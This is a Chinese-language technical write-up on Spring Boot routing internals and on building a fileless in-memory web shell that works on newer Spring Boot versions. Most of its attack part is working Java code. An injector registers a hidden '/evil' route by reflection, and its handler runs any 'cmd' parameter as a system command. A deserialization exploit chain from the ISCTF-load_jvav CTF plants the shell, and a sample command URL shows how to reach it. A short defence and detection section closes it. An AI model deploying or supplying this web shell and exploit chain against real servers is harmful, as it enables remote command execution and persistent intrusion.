JAVA 新版 SpringBoot 内存马分析
字数 1857 2025-12-24 12:10:32
SpringBoot 内存马分析与实现
一、SpringBoot 应用启动与路由注册机制
1.1 SpringBoot 启动流程分析
SpringBoot 应用的启动入口是 SpringApplication.run() 方法,该方法最终调用以下核心逻辑:
public ConfigurableApplicationContext run(String... args) {
long startTime = System.nanoTime();
DefaultBootstrapContext bootstrapContext = this.createBootstrapContext();
ConfigurableApplicationContext context = null;
this.configureHeadlessProperty();
SpringApplicationRunListeners listeners = this.getRunListeners(args);
listeners.starting(bootstrapContext, this.mainApplicationClass);
try {
ApplicationArguments applicationArguments = new DefaultApplicationArguments(args);
ConfigurableEnvironment environment = this.prepareEnvironment(listeners, bootstrapContext, applicationArguments);
this.configureIgnoreBeanInfo(environment);
Banner printedBanner = this.printBanner(environment);
context = this.createApplicationContext();
context.setApplicationStartup(this.applicationStartup);
this.prepareContext(bootstrapContext, context, environment, listeners, applicationArguments, printedBanner);
this.refreshContext(context); // 关键方法:路由在此注册
this.afterRefresh(context, applicationArguments);
// ... 后续处理
} catch (Throwable ex) {
// 异常处理
}
}
1.2 路由注册关键路径
路由注册的核心在于 refreshContext(context) 方法调用链:
SpringApplication.run()
└── refreshContext()
└── AbstractApplicationContext.refresh()
├── invokeBeanFactoryPostProcessors()
│ └── ConfigurationClassPostProcessor
│ └── @ComponentScan → 发现 @Controller → 注册为 BeanDefinition
└── finishBeanFactoryInitialization()
└── 初始化 RequestMappingHandlerMapping Bean
└── afterPropertiesSet()
└── initHandlerMethods()
├── 遍历所有 BeanDefinition
├── isHandler(YourController.class) → true
└── detectHandlerMethods("yourController")
└── 解析 @GetMapping("/api/users") 等
└── 注册到 handlerMethods Map
1.3 路由注册详细过程
在 finishBeanFactoryInitialization(beanFactory) 方法中:
- 初始化 RequestMappingHandlerMapping Bean
- 调用
afterPropertiesSet()方法 - 执行
initHandlerMethods()流程:- 获取所有候选 Bean 名称
- 对每个 Bean 检查是否为 Controller:
protected boolean isHandler(Class<?> beanType) { return AnnotatedElementUtils.hasAnnotation(beanType, Controller.class) || AnnotatedElementUtils.hasAnnotation(beanType, RestController.class); } - 若是 Controller,则调用
detectHandlerMethods(beanName) - 解析方法上的
@RequestMapping及其派生注解 - 构建
RequestMappingInfo对象 - 创建
HandlerMethod对象 - 注册到内部映射表:
this.handlerMethods.put(mapping, handlerMethod)
二、HTTP 请求处理流程
2.1 请求分发机制
核心处理逻辑在 DispatcherServlet.doDispatch() 方法中:
protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {
HttpServletRequest processedRequest = request;
HandlerExecutionChain mappedHandler = null;
try {
processedRequest = this.checkMultipart(request);
mappedHandler = this.getHandler(processedRequest); // 关键:获取处理器
if (mappedHandler == null) {
this.noHandlerFound(processedRequest, response);
return;
}
// 后续处理逻辑
} catch (Exception ex) {
// 异常处理
}
}
2.2 处理器查找过程
getHandler() 方法通过不同的 HandlerMapping 依次处理请求:
protected HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {
if (this.handlerMappings != null) {
for (HandlerMapping mapping : this.handlerMappings) {
HandlerExecutionChain handler = mapping.getHandler(request);
if (handler != null) {
return handler;
}
}
}
return null;
}
2.3 路由匹配核心逻辑
在 AbstractHandlerMethodMapping.lookupHandlerMethod() 中:
protected HandlerMethod lookupHandlerMethod(String lookupPath, HttpServletRequest request) throws Exception {
List<Match> matches = new ArrayList<>();
List<T> directPathMatches = this.mappingRegistry.getMappingsByDirectPath(lookupPath);
if (directPathMatches != null) {
this.addMatchingMappings(directPathMatches, matches, request);
}
if (matches.isEmpty()) {
this.addMatchingMappings(this.mappingRegistry.getRegistrations().keySet(), matches, request);
}
// 匹配逻辑处理
}
路径匹配的关键在于 getMatchingMapping() 方法,该方法检查请求参数、请求头和请求路径是否与 RequestMappingInfo 匹配。
三、SpringBoot 内存马实现
3.1 旧版内存马实现及问题
3.1.1 传统实现方式
@RestController
public class InjectController {
@RequestMapping("/inject")
public String inject() throws Exception {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes()
.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Method method = Evil.class.getMethod("cmd");
PatternsRequestCondition url = new PatternsRequestCondition("/evil");
RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition(RequestMethod.GET);
RequestMappingInfo info = new RequestMappingInfo(url, condition, null, null, null, null, null);
Evil injectedController = new Evil();
requestMappingHandlerMapping.registerMapping(info, injectedController, method);
return "inject ok";
}
}
3.1.2 新版 SpringBoot 兼容性问题
在新版 SpringBoot 中,上述代码会报错:
java.lang.IllegalArgumentException: Expected lookupPath in request attribute "org.springframework.web.util.UrlPathHelper.PATH"
问题根源分析:
- 新版本 SpringBoot 默认使用
PathPatternsRequestCondition路径解析器 - 旧版实现使用
PatternsRequestCondition解析器 PatternsRequestCondition需要 request 对象包含org.springframework.web.util.UrlPathHelper.PATH属性- 新版默认不设置该属性,导致匹配失败
3.2 新版内存马实现方案
3.2.1 兼容新版的实现代码
@RestController
public class InjectController {
@RequestMapping("/inject")
public String inject() throws Exception {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes()
.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Method method = Evil.class.getMethod("cmd");
// 构造默认条件
RequestMethodsRequestCondition methods = new RequestMethodsRequestCondition(new RequestMethod[0]);
ParamsRequestCondition params = new ParamsRequestCondition(new String[0]);
HeadersRequestCondition headers = new HeadersRequestCondition(new String[0]);
ConsumesRequestCondition consumes = new ConsumesRequestCondition(new String[0]);
ProducesRequestCondition produces = new ProducesRequestCondition(new String[0]);
RequestConditionHolder custom = new RequestConditionHolder(null);
RequestMappingInfo.BuilderConfiguration option = new RequestMappingInfo.BuilderConfiguration();
// 使用 PathPatternsRequestCondition(新版解析器)
PathPatternParser parser = new PathPatternParser();
PathPatternsRequestCondition url = new PathPatternsRequestCondition(parser, "/evil");
// 通过反射构造 RequestMappingInfo
Constructor<RequestMappingInfo> constructor = RequestMappingInfo.class.getDeclaredConstructor(
String.class, // name
PathPatternsRequestCondition.class, // pathPatternsCondition
PatternsRequestCondition.class, // patternsCondition
RequestMethodsRequestCondition.class,
ParamsRequestCondition.class,
HeadersRequestCondition.class,
ConsumesRequestCondition.class,
ProducesRequestCondition.class,
RequestConditionHolder.class,
RequestMappingInfo.BuilderConfiguration.class
);
constructor.setAccessible(true);
RequestMappingInfo info = constructor.newInstance(null, url, null, methods, params,
headers, consumes, produces, custom, option);
Evil injectedController = new Evil();
requestMappingHandlerMapping.registerMapping(info, injectedController, method);
return "inject ok";
}
public static class Evil {
public void cmd() throws Exception {
HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getResponse();
String cmd = request.getParameter("cmd");
if (cmd != null) {
boolean isWindows = System.getProperty("os.name").toLowerCase().contains("win");
String[] cmds = isWindows ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"sh", "-c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
response.getWriter().close();
}
}
}
}
3.2.2 关键技术要点
-
路径解析器选择:
- 新版:
PathPatternsRequestCondition - 旧版:
PatternsRequestCondition
- 新版:
-
反射构造:由于
RequestMappingInfo的公共构造函数只能创建旧版解析器,必须使用反射 -
条件设置:需要设置完整的请求条件(方法、参数、头部等)
四、实战案例:ISCTF-load_jvav
4.1 漏洞利用场景
在反序列化漏洞环境中,通过二次反序列化注入内存马:
public class Exploit {
public static void main(String[] args) throws Exception {
// 加载恶意类字节码
byte[] injectClassBytes = loadClassBytes("InjectClass.class");
byte[] evilClassBytes = loadClassBytes("InjectClass$Evil.class");
// 构造 TemplatesImpl 链
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_name", "test");
setField(templates, "_bytecodes", new byte[][]{injectClassBytes, evilClassBytes});
setField(templates, "_tfactory", new TransformerFactoryImpl());
// 构造反序列化利用链
POJONode pojoNode = new POJONode(templates);
BadAttributeValueExpException badAttribute = new BadAttributeValueExpException(null);
setField(badAttribute, "val", pojoNode);
// 通过 RMIConnector 触发二次反序列化
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setField(jmxServiceURL, "urlPath", "/stub/" + base64Encode(badAttribute));
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
// 使用 YouFindThis 类触发连接
YouFindThis exploit = new YouFindThis();
exploit.aClass = RMIConnector.class;
exploit.argclass = Map.class;
exploit.methed = "connect";
exploit.args = null;
exploit.input = rmiConnector;
String payload = base64Encode(exploit);
System.out.println(payload);
}
}
4.2 内存马访问方式
注入成功后,通过以下 URL 执行命令:
http://target.com/evil?cmd=whoami
五、防御与检测建议
5.1 防御措施
- 输入验证:严格验证反序列化数据源
- 类过滤:使用安全的
ObjectInputStream实现,过滤危险类 - 权限控制:限制应用运行权限
- 依赖管理:及时更新 SpringBoot 版本
5.2 检测方法
- 动态检测:监控异常的 URL 注册行为
- 静态分析:检查是否有可疑的反射调用
- 运行时监控:监控
RequestMappingHandlerMapping的注册操作
六、总结
本文详细分析了 SpringBoot 内存马的实现原理,重点解决了新版 SpringBoot 的兼容性问题。关键点包括:
- SpringBoot 路由注册机制的理解
- 新旧版路径解析器的区别与兼容方案
- 反射在内存马构造中的应用
- 实战环境中的综合利用技巧
通过深入理解 SpringBoot 内部机制,可以更好地进行安全防护和漏洞检测。